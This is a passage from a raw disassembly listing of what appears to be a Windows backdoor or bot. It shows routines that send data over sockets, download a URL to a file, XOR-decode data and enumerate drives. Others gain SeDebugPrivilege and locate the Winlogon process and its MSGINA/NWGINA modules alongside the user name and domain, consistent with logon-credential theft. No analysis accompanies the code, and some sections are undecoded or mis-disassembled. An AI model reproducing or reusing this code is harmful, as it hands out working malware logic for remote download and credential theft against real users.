[ebp-8], edi add esp, 10h push dword ptr [ebp-8] call ds:dword_4CDBF4 ; htonl mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call ds:dword_4CDC48 ; send jmp short loc_41632B ; --------------------------------------------------------------------------- loc_416393: ; CODE XREF: seg000:0041635Bj lea eax, [ebp-4C4h] push offset dword_43A0FC push eax call sub_41BA76 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409966 lea eax, [ebp-4C4h] push eax call sub_4152AE push dword ptr [ebp-4] call sub_41B24B add esp, 24h push dword ptr [ebp+8] call ds:dword_4CDC90 ; closesocket push dword ptr [ebp-1Ch] call sub_40B287 pop ecx push 1 call near ptr 0B10000h loc_4163F1: ; CODE XREF: seg000:00416352j jmp near ptr 9A39A981h ; --------------------------------------------------------------------------- push edx push eax call sub_416994 push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_43A1FC push eax call sub_41BA76 add esp, 1Ch loc_416420: ; CODE XREF: seg000:00416321j cmp [ebp-14h], ebx jnz short loc_416445 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409966 add esp, 14h loc_416445: ; CODE XREF: seg000:00416423j lea eax, [ebp-4C4h] push eax call sub_4152AE cmp [ebp-4], ebx pop ecx jz short loc_416460 push dword ptr [ebp-4] call sub_41B24B pop ecx loc_416460: ; CODE XREF: seg000:00416455j cmp [ebp+8], ebx jbe short loc_41646E push dword ptr [ebp+8] call ds:dword_4CDC90 ; closesocket loc_41646E: ; CODE XREF: seg000:00416463j push dword ptr [ebp-1Ch] call sub_40B287 pop ecx push ebx call near ptr 0B10000h loc_41647D: ; DATA XREF: seg000:00407CDFo jl short near ptr loc_4164CF+5 mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] rep movsd xor edi, edi xor esi, esi inc edi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push ds:dword_4CDBA8 call ds:dword_4CDAFC ; InternetOpenUrlA cmp eax, esi mov [ebp-18h], eax jz loc_4168F7 push esi push esi push 2 push esi push esi loc_4164CF: ; CODE XREF: seg000:loc_41647Dj lea eax, [ebp-148h] push 40000000h push eax call ds:dword_4280EC ; CreateFileA cmp eax, edi mov [ebp-20h], eax jnb short near ptr loc_416544+1 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_43A444 push eax call sub_41BA76 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416528 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409966 add esp, 14h loc_416528: ; CODE XREF: seg000:00416506j lea eax, [ebp-510h] push eax call sub_4152AE push dword ptr [ebp-48h] call sub_40B287 pop ecx pop ecx push esi call near ptr 0B10000h loc_416544: ; CODE XREF: seg000:004164E6j cmp al, 33h ; --------------------------------------------------------------------------- dw 0FFFFh dd 4280A815h, 0D000BB00h, 45890007h, 6AE853FCh, 59000051h dd 68E44589h, 200h, 0FAF0858Dh, 5056FFFFh, 520FE8h, 0CC48300h dd 5008458Dh, 0FAF0858Dh, 68FFFFh, 50000002h, 0FFE875FFh dd 4CDB0415h, 0CC753900h, 75FF1174h, 0F0858D08h, 50FFFFFAh dd 3BCE8h, 8D595900h, 5056DC45h, 0FAF0858Dh, 75FFFFFFh dd 75FF5008h, 9A46E8E0h, 3BB7006Fh, 8B2273FBh, 3BC72BC3h dd 3760845h, 5008458Bh, 0FAF0858Dh, 8B50FFFFh, 0C703E445h dd 5F22E850h, 0C4830000h, 87D030Ch, 74C47539h, 0C47D3B05h dd 0C78B3F77h, 500AE8C1h, 0FDB8858Dh, 8B50FFFFh, 0C069B845h dd 234h, 44093805h, 0BC7D8300h, 68077401h, 43A41Ch, 0F46805EBh dd 500043A3h, 5455E8h, 10C48300h, 0F087539h, 0FFFF3287h dd 0C47539FFh, 1EC45C7h, 74000000h, 0C47D3B49h, 75FF4474h dd 0F0858DC4h, 89FFFFFAh, 6857EC75h, 43A3C8h, 5420E850h dd 8D560000h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh dd 0FD34B5FFh, 0F3E8FFFFh, 8DFFFF32h, 0FFFAF085h, 2FE850FFh dd 83FFFFECh, 15FF28C4h, 4280A8h, 33FC452Bh, 3E8B9D2h dd 75FF0000h, 33F1F7E0h, 8BC88BD2h, 0F1F741C7h, 15FFD88Bh dd 42806Ch, 0E8E475FFh, 4BF1h, 59C87539h, 858D5674h, 0FFFFFEB8h dd 0AA00E850h, 453BFFFEh, 447459C8h, 89C875FFh, 8D50EC75h dd 0FFFAF085h, 0A3A068FFh, 0E8500043h, 5396h, 0F0858D56h dd 0FFFFFFFAh, 8D50D475h, 0FFFD3885h, 0B5FF50FFh, 0FFFFFD34h dd 0FF3269E8h, 0F0858DFFh, 50FFFFFAh, 0FFEBA5E8h, 28C483FFh dd 0FEC7539h, 22F84h, 0BC7D8300h, 858D5101h, 0FFFFFEB8h dd 0E0840F51h, 89000000h, 7589F85Dh, 0F86DDFFCh, 89F87D89h dd 0DDCFC75h, 4286B0h, 0DF241CDDh, 5150F86Dh, 0F0858D51h dd 0DCFFFFFAh, 4286B00Dh, 241CDD00h, 43A36868h, 17E85000h dd 83000053h, 75391CC4h, 562075D0h, 0FAF0858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh, 0FFFF31E2h dd 8D14C483h, 0FFFAF085h, 1BE850FFh, 83FFFFEBh, 5901C07Dh dd 1A6850Fh, 56A0000h, 0B8858D56h, 56FFFFFEh, 0C9AC6850h dd 0FF560042h, 4CDB6415h, 0D0753900h, 186850Fh, 858D0000h dd 0FFFFFEB8h, 0F0858D50h, 68FFFFFAh, 43A34Ch, 52A0E850h dd 8D560000h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh dd 0FD34B5FFh, 73E8FFFFh, 8DFFFF31h, 0FFFAF085h, 0AFE850FFh dd 83FFFFEAh, 3DE924C4h, 89000001h, 7589F85Dh, 0F86DDFFCh dd 89F87D89h, 0DDCFC75h, 4286B0h, 0DF241CDDh, 5150F86Dh dd 0F0858D51h, 0DCFFFFFAh, 4286B00Dh, 241CDD00h, 43A30868h dd 37E85000h, 83000052h, 75391CC4h, 562075D0h, 0FAF0858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh dd 0FFFF3102h, 8D14C483h, 0FFFAF085h, 3BE850FFh, 6AFFFFEAh dd 0F0458D10h, 1E85056h, 6A00004Fh, 0F0858D44h, 5FFFFFFCh dd 0E8505657h, 4EF0h, 8D1CC483h, 0BD89F045h, 0FFFFFCF0h dd 8D50FF33h, 0FFFCF085h, 565650FFh, 5656286Ah, 0FEB8858Dh dd 4756FFFFh, 85C75650h, 0FFFFFCFCh, 43FDB4h, 0FD1CBD89h dd 8966FFFFh, 0FFFD20B5h, 972EE8FFh, 3B55006Fh, 0FF1275C7h dd 4CDB5015h, 1C5BE800h, 0FF560000h, 42806815h, 0B8858D00h dd 50FFFFFEh, 43A2D468h db 0, 0EBh, 0Ch ; --------------------------------------------------------------------------- loc_4168F7: ; CODE XREF: seg000:004164C3j lea eax, [ebp-248h] push eax push offset unk_43A2A8 lea eax, [ebp-510h] push eax call sub_41BA76 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416937 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409966 add esp, 14h loc_416937: ; CODE XREF: seg000:00416915j lea eax, [ebp-510h] push eax call sub_4152AE pop ecx push dword ptr [ebp-18h] call ds:dword_4CDC2C ; InternetCloseHandle push dword ptr [ebp-48h] call sub_40B287 pop ecx push esi call near ptr 0B10000h push edi ; =============== S U B R O U T I N E ======================================= sub_41695D proc near arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416979 loc_416969: ; CODE XREF: sub_41695D+1Aj mov dl, ds:byte_42A098 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416969 locret_416979: ; CODE XREF: sub_41695D+Aj retn sub_41695D endp ; =============== S U B R O U T I N E ======================================= sub_41697A proc near ; CODE XREF: seg000:004072AAp ; seg000:004073ECp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D5DE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_41697A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416994 proc near ; CODE XREF: sub_40FCD8+462p ; sub_40FCD8+5FEp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D57EC push 0 push edi call sub_41B780 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_4169B9: ; CODE XREF: sub_416994+5Bj ; sub_416994+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D6A0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D630 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_4169F7 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_4169B9 mov byte ptr [esi], 2Ch inc esi jmp short loc_4169B9 ; --------------------------------------------------------------------------- loc_4169F7: ; CODE XREF: sub_416994+4Bj mov eax, edi jmp short loc_416A00 ; --------------------------------------------------------------------------- loc_4169FB: ; CODE XREF: sub_416994+72j mov cl, [esi] mov [eax], cl inc eax loc_416A00: ; CODE XREF: sub_416994+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_4169FB and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416994 endp ; =============== S U B R O U T I N E ======================================= sub_416A12 proc near ; CODE XREF: sub_416BBE+51p ; sub_416BBE+87p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4CDC58 ; GetDriveTypeA sub eax, 0 jz short loc_416A55 dec eax jz short loc_416A4F dec eax dec eax jz short loc_416A49 dec eax jz short loc_416A43 dec eax jz short loc_416A3D dec eax jz short loc_416A37 mov eax, offset word_43A498 retn ; --------------------------------------------------------------------------- loc_416A37: ; CODE XREF: sub_416A12+1Dj mov eax, offset off_43A494 retn ; --------------------------------------------------------------------------- loc_416A3D: ; CODE XREF: sub_416A12+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416A43: ; CODE XREF: sub_416A12+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416A49: ; CODE XREF: sub_416A12+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416A4F: ; CODE XREF: sub_416A12+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416A55: ; CODE XREF: sub_416A12+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416A12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A5B proc near ; CODE XREF: sub_416AA3+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, ds:dword_4CDAE8 test eax, eax jz short loc_416A90 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_416A90: ; CODE XREF: sub_416A5B+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AA3 proc near ; CODE XREF: sub_416BBE+17p ; sub_41AC18+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416A5B pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B7B mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B7B mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B7B push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D720 push edx push eax call sub_416994 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_41BB70 add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D720 push edx push eax call sub_416994 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41BB70 add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D720 push edx push eax call sub_416994 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41BB70 add esp, 18h pop ebx jmp short loc_416BAA ; --------------------------------------------------------------------------- loc_416B7B: ; CODE XREF: sub_416AA3+2Cj ; sub_416AA3+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41BA76 lea eax, [ebp+var_118] push esi push eax call sub_41BA76 lea eax, [ebp+var_98] push esi push eax call sub_41BA76 add esp, 18h loc_416BAA: ; CODE XREF: sub_416AA3+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416AA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BBE proc near ; CODE XREF: sub_416C90+17p ; sub_416C90+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416AA3 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C260 add esp, 10h test eax, eax jnz short loc_416C31 push ebx push ebx call sub_416A12 pop ecx push eax push offset unk_43A4E8 lea eax, [ebp+var_500] push 200h push eax call sub_41BB70 add esp, 14h jmp short loc_416C65 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416BBE+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416A12 pop ecx push eax push offset unk_43A4AC lea eax, [ebp+var_500] push 200h push eax call sub_41BB70 add esp, 20h loc_416C65: ; CODE XREF: sub_416BBE+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 lea eax, [ebp+var_500] push eax call sub_4152AE add esp, 18h pop edi pop esi pop ebx leave retn sub_416BBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C90 proc near ; CODE XREF: seg000:00404005p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416CB1 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416BBE add esp, 10h jmp short loc_416D10 ; --------------------------------------------------------------------------- loc_416CB1: ; CODE XREF: sub_416C90+9j push esi push edi push ebx push ebx call ds:dword_4CDB60 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_41B6C5 pop ecx mov edi, eax push edi push esi call ds:dword_4CDB60 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_416D07 loc_416CD5: ; CODE XREF: sub_416C90+75j push offset aA_1 ; "A:\\" push esi call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_416CF8 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416BBE add esp, 10h loc_416CF8: ; CODE XREF: sub_416C90+54j push esi call sub_41B1D0 lea esi, [esi+eax+1] pop ecx cmp [esi], bl jnz short loc_416CD5 loc_416D07: ; CODE XREF: sub_416C90+43j push edi call sub_41B2A1 pop ecx pop edi pop esi loc_416D10: ; CODE XREF: sub_416C90+1Fj pop ebx pop ebp retn sub_416C90 endp ; --------------------------------------------------------------------------- byte_416D13 db 55h ; DATA XREF: seg000:004082EDo dd 0EC81EC8Bh, 49Ch, 5308458Bh, 0A7B95756h, 8B000000h dd 64BD8DF0h, 0F3FFFFFDh, 9880C7A5h, 1000002h, 8D000000h dd 0FFFEEC85h, 89E850FFh, 33000044h, 5BC80DBh, 0FFFFFEEBh dd 1475595Ch, 0FEEC858Dh, 0E850FFFFh, 4470h, 59C8859h dd 0FFFFFEEBh, 0FDE8858Dh, 6850FFFFh, 43A548h, 0FB64858Dh dd 68FFFFh, 50000002h, 4DEBE8h, 10C48300h, 75F85D39h, 858D5320h dd 0FFFFFB64h, 50F475FFh, 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h dd 2BBCE8FFh, 0C483FFFFh, 0EC858D14h, 53FFFFFEh, 0E8858D50h dd 50FFFFFDh, 0FD68858Dh, 75FFFFFFh, 0B5FF50F4h, 0FFFFFD64h dd 5AE8h, 858D5000h, 0FFFFFB64h, 43A52868h, 93E85000h dd 8300004Ch, 5D3924C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2B5Eh dd 8D14C483h, 0FFFB6485h, 97E850FFh, 0FFFFFFE4h, 68E8F075h dd 59FFFF44h, 0D9E85359h, 3D006F91h, 555B5E5Fh, 0EC81EC8Bh dd 54Ch, 0BE575653h, 104h, 8D1875FFh, 0FFFDB885h, 0A58C68FFh dd 50560043h, 4D1FE8h, 3D8B00h, 83004280h, 858D10C4h, 0FFFFFEBCh dd 0B8858D50h, 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 42AAE4BBh dd 0F6717400h, 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh dd 0E9BD8012h, 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh dd 0FFFEE885h, 858D50FFh, 0FFFFFCB4h, 531875FFh, 0BDE85056h dd 0FF00004Ch, 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh dd 75FF0C75h, 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh dd 0FF50FFFFh, 15FFFC75h, 42811Ch, 8F75C085h, 0E8FC75FFh dd 6F9110h, 1475FFF5h, 0FDB8858Dh, 75FFFFFFh, 50565318h dd 4C6BE8h, 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h dd 0D7FF50FFh, 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh dd 0B4858D50h, 0FFFFFFFAh, 70681875h, 680043A5h, 200h dd 4C2EE850h, 16A0000h, 0FAB4858Dh, 75FFFFFFh, 75FF5010h dd 875FF0Ch, 0FF2A0DE8h, 28C483FFh, 0FEBC858Dh, 5650FFFFh dd 811C15FFh, 0C0850042h, 0E856B175h, 6F908Ch, 1C458B43h dd 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F7D proc near ; DATA XREF: seg000:00403740o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] rep movsd xor esi, esi inc esi mov [eax+90h], esi call sub_41AACB cmp eax, esi mov [ebp+var_4], eax jz short loc_416FBC cmp eax, 2 jz short loc_416FBC push offset unk_43A768 jmp loc_4170FB ; --------------------------------------------------------------------------- loc_416FBC: ; CODE XREF: sub_416F7D+2Ej ; sub_416F7D+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419828 pop ecx test eax, eax pop ecx jz loc_4170F6 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call ds:dword_4280B8 ; LoadLibraryA mov esi, ds:dword_4280BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov ds:dword_4D6A2C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov ds:dword_4D6A20, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov ds:dword_4D6C30, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov ds:dword_4D6A28, eax call esi mov ds:dword_4D6A24, eax call sub_41714F test eax, eax mov [ebp+arg_0], eax jz loc_4170C9 mov esi, ds:dword_428140 mov edi, 400h mov ebx, offset dword_4D5A20 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset dword_4D6220 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_4D6C34 push [ebp+arg_0] jnz short loc_417075 call sub_4172D8 jmp short loc_41707A ; --------------------------------------------------------------------------- loc_417075: ; CODE XREF: sub_416F7D+EFj call sub_41747C loc_41707A: ; CODE XREF: sub_416F7D+F6j pop ecx test eax, eax pop ecx jz short loc_4170C2 cmp ds:dword_4D6C34, 0 jnz short loc_4170A9 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_43A630 push 200h push eax call sub_41BB70 add esp, 18h jmp short loc_4170DC ; --------------------------------------------------------------------------- loc_4170A9: ; CODE XREF: sub_416F7D+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4170B9 call sub_4175A9 jmp short loc_4170BE ; --------------------------------------------------------------------------- loc_4170B9: ; CODE XREF: sub_416F7D+133j call sub_417640 loc_4170BE: ; CODE XREF: sub_416F7D+13Aj pop ecx push eax jmp short loc_4170CE ; --------------------------------------------------------------------------- loc_4170C2: ; CODE XREF: sub_416F7D+101j push offset unk_43A5F4 jmp short loc_4170CE ; --------------------------------------------------------------------------- loc_4170C9: ; CODE XREF: sub_416F7D+B6j push offset unk_43A5C8 loc_4170CE: ; CODE XREF: sub_416F7D+143j ; sub_416F7D+14Aj lea eax, [ebp+var_29C] push eax call sub_41BA76 pop ecx pop ecx loc_4170DC: ; CODE XREF: sub_416F7D+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419828 pop ecx pop ecx push [ebp+var_8] call near ptr 0B10000h cmc pop ebx jmp short loc_417109 ; --------------------------------------------------------------------------- loc_4170F6: ; CODE XREF: sub_416F7D+4Ej push offset unk_43A594 loc_4170FB: ; CODE XREF: sub_416F7D+3Aj lea eax, [ebp+var_29C] push eax call sub_41BA76 pop ecx pop ecx loc_417109: ; CODE XREF: sub_416F7D+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417130 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409966 add esp, 14h loc_417130: ; CODE XREF: sub_416F7D+191j lea eax, [ebp+var_29C] push eax call sub_4152AE push [ebp+var_18] call sub_40B287 pop ecx pop ecx push esi call near ptr 0B10000h pop esp pop edi pop esi sub_416F7D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41714F proc near ; CODE XREF: sub_416F7D+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, ds:dword_42814C mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, ds:dword_428148 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call ds:dword_4D6A2C push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_428144 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call ds:dword_4D6A2C test eax, eax jnz short loc_41723C mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_41723C xor ecx, ecx mov ebx, ebp inc ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_41723C loc_4171D8: ; CODE XREF: sub_41714F+EBj cmp word ptr [ebx+8], 5 jnz short loc_41722F push 0 push 0 call ds:dword_4D6A20 mov edi, eax push edi push 1 push dword ptr [ebx+4] call ds:dword_4D6C30 test eax, eax jnz short loc_417220 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D7CA pop ecx push eax call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_417254 loc_417220: ; CODE XREF: sub_41714F+AAj test edi, edi jz short loc_41722B push edi call ds:dword_4D6A28 loc_41722B: ; CODE XREF: sub_41714F+D3j mov eax, [esp+28h+var_10] loc_41722F: ; CODE XREF: sub_41714F+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_4171D8 loc_41723C: ; CODE XREF: sub_41714F+6Dj ; sub_41714F+7Aj ... xor edi, edi loc_41723E: ; CODE XREF: sub_41714F+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_428144 ; RtlFreeHeap mov eax, edi loc_41724C: ; CODE XREF: sub_41714F+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417254: ; CODE XREF: sub_41714F+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_4172BD lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_41726A: ; CODE XREF: sub_41714F+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D7CA pop ecx push eax call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_4172D1 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D7CA pop ecx push eax call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_4172AF mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4172AF: ; CODE XREF: sub_41714F+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_41726A loc_4172BD: ; CODE XREF: sub_41714F+10Fj test edi, edi jz short loc_4172C8 push edi call ds:dword_4D6A28 loc_4172C8: ; CODE XREF: sub_41714F+170j mov edi, [esp+28h+var_4] jmp loc_41723E ; --------------------------------------------------------------------------- loc_4172D1: ; CODE XREF: sub_41714F+13Cj xor eax, eax jmp loc_41724C sub_41714F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172D8 proc near ; CODE XREF: sub_416F7D+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call near ptr 0B10000h idiv dword ptr [ebx] mov byte ptr [ecx+775FC45h], 33h shr cl, 78h add [eax], eax add [ebx+57530C45h], cl mov [eax], esi lea eax, [ebp+var_64] push eax call ds:dword_428158 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, ds:dword_42814C push 8 call esi ; GetProcessHeap mov edi, ds:dword_428148 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov 